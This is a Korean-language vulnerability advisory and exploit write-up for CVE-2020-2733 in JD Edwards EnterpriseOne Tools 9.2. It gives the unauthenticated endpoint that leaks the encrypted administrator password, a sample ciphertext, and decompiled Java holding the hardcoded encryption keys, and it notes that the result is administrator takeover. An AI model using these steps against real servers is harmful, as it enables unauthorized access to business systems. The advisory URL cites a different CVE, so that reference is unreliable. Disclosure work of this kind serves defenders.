
# CVE-2020-2733 JD Edwards EnterpriseOne Tools 익스플로잇 JD Edwards EnterpriseOne Tools의 CVE-2020-2733에 대한 익스플로잇으로, 인증되지 않은 관리자 비밀번호 복호화 및 인증 우회를 통해 관리자 권한을 획득하는 방법을 시연합니다.
그림 1: 문자열 복호화
그림 2: URL을 지정하여 복호화
애플리케이션: JD Edwards EnterpriseOne Tools
영향을 받는 버전: JD Edwards EnterpriseOne Tools 9.2
공급업체 URL: https://oracle.com/
버그: 정보 공개
보고일: 2019년 9월 18일
공개 권고일: 2022년 8월 23일
참조: [https://www.oracle.com/security-alerts/cpuapr2020.html, https://redrays.io/cve-2020-2733-jd-edwards/]
탐지용 Nuclei 템플릿: https://github.com/projectdiscovery/nuclei-templates/blob/68f0ad5fa2f54a08959e2d68633174750fcb4952/http/cves/2020/CVE-2020-2733.yaml#L2
권고 정보
제목: [CVE-2020-2733] JD Edwards EnterpriseOne Tools 관리자 비밀번호가 적절히 보호되지 않음
위험도: 심각
권고 URL: https://redrays.io/cve-2020-6369-patch-bypass/
게시일: 2022년 8월 23일
원격 악용 가능: 예
로컬 악용 가능: 아니요
CVSS 정보 : CVSS v3.1 기본 점수: 9.8 / 10 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
JD Edwards EnterpriseOne Tools 9.2 및 이하 버전은 인증되지 않은 공격자가 인증을 우회하고 시스템에서 관리자 권한을 얻을 수 있도록 허용합니다.
이 취약점은 Oracle JD Edwards 관리 포털에서 발견되었습니다. 취약점을 재현하려면 (인증 없이) 다음 URL을 열어야 합니다.
http://JDEdwards:8999/manage/fileDownloader?sec=1
URL을 열면 페이지에 의사 난수 텍스트가 표시됩니다.

ACHCJKGJHCJKBLLALOLOJFCABEFHOALDDAOFNGGANPDB
JD Edwards jar 파일을 분석한 결과, 이 의사 난수 데이터는 바로 암호화된 관리자 비밀번호임을 발견했습니다!
암호화 키는 다음 함수에 있습니다.
private static void genKeys(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2, byte paramByte)
{
int i = 0;
byte[] arrayOfByte1 = { 65, 4, 95, 12, 88, 41, 6, 114, 119, 93, 37, 68, 75, 19, 49, 46 };
byte[] arrayOfByte2 = { 107, 34, 26, 94, 68, 41, 119, 48, 3, 88, 28, 97, 5, Byte.MAX_VALUE, 77, 54 };
byte[] arrayOfByte3 = { 36, 89, 113, 109, 38, 15, 7, 66, 76, 115, 16, 53, 106, 94, 27, 56 };
int j = paramByte >> 4;
int k = paramByte & 0xF;
int m = arrayOfByte3[j];
for (i = 0; i < 16; i++) {
paramArrayOfByte1[i] = ((byte)(arrayOfByte1[i] ^ m));
}
m = arrayOfByte3[k];
for (i = 0; i < 16; i++) {
paramArrayOfByte2[i] = ((byte)(arrayOfByte2[i] ^ m));
}
}
결과적으로 관리자 비밀번호를 얻을 수 있으며, JD Edwards 포털에서 어떤 애플리케이션을 배포할 수 있습니다.
